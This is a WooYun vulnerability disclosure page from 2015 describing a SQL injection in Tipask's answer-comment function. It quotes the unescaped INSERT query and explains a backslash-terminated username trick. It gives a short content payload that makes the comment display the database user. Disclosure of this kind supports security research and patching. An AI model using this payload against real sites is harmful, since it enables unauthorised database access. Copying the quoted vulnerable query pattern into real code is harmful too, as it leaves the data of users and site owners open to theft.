当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096582

漏洞标题:tipask注入漏洞2

相关厂商:Tipask

漏洞作者: 路人甲

提交时间:2015-02-13 16:04

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

没有啥条件限制,如果说要gpc 、 全局变量条件限制的都不是好漏洞。

详细说明:

众测来打洞,然后白盒代码就读起来了。。。(0day)
http://ce.wooyun.org/content/7045

function onaddcomment() {
if (isset($this->post['content'])) {
$content = htmlspecialchars($this->post['content']);
$answerid = intval($this->post['answerid']);
$replyauthorid = intval($this->post['replyauthor']);
$answer = $_ENV['answer']->get($answerid);
$_ENV['answer_comment']->add($answerid, $content, $this->user['uid'], $this->user['username']);


增加评论
其中看 $_ENV['answer_comment']->add($answerid, $content, $this->user['uid'], $this->user['username']);
$this->user['username'] 为我们可控,注册test12345a\此类畸形用户名,见上篇分析
跟踪add方法

function add($answerid, $conmment,$authorid,$author) {
//echo 'INSERT INTO `' . DB_TABLEPRE . "answer_comment`(`aid`,`authorid`,`author`,`content`,`time`) values ($answerid,$authorid,'$author','$conmment'," . $this->base->time . ")";exit();
$this->db->query('INSERT INTO `' . DB_TABLEPRE . "answer_comment`(`aid`,`authorid`,`author`,`content`,`time`) values ($answerid,$authorid,'$author','$conmment'," . $this->base->time . ")");
$this->db->query("UPDATE " . DB_TABLEPRE . "answer SET comments=comments+1 WHERE `id`=$answerid");
}


另外content也控
我们content让它为,user(),1)# 即可

zzzzzz.png


然后评论就是root@localhost了
详情可参考众测

漏洞证明:

zzzzzz.png


然后评论就是root@localhost了

修复方案:

更新程序,对username进行转义

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝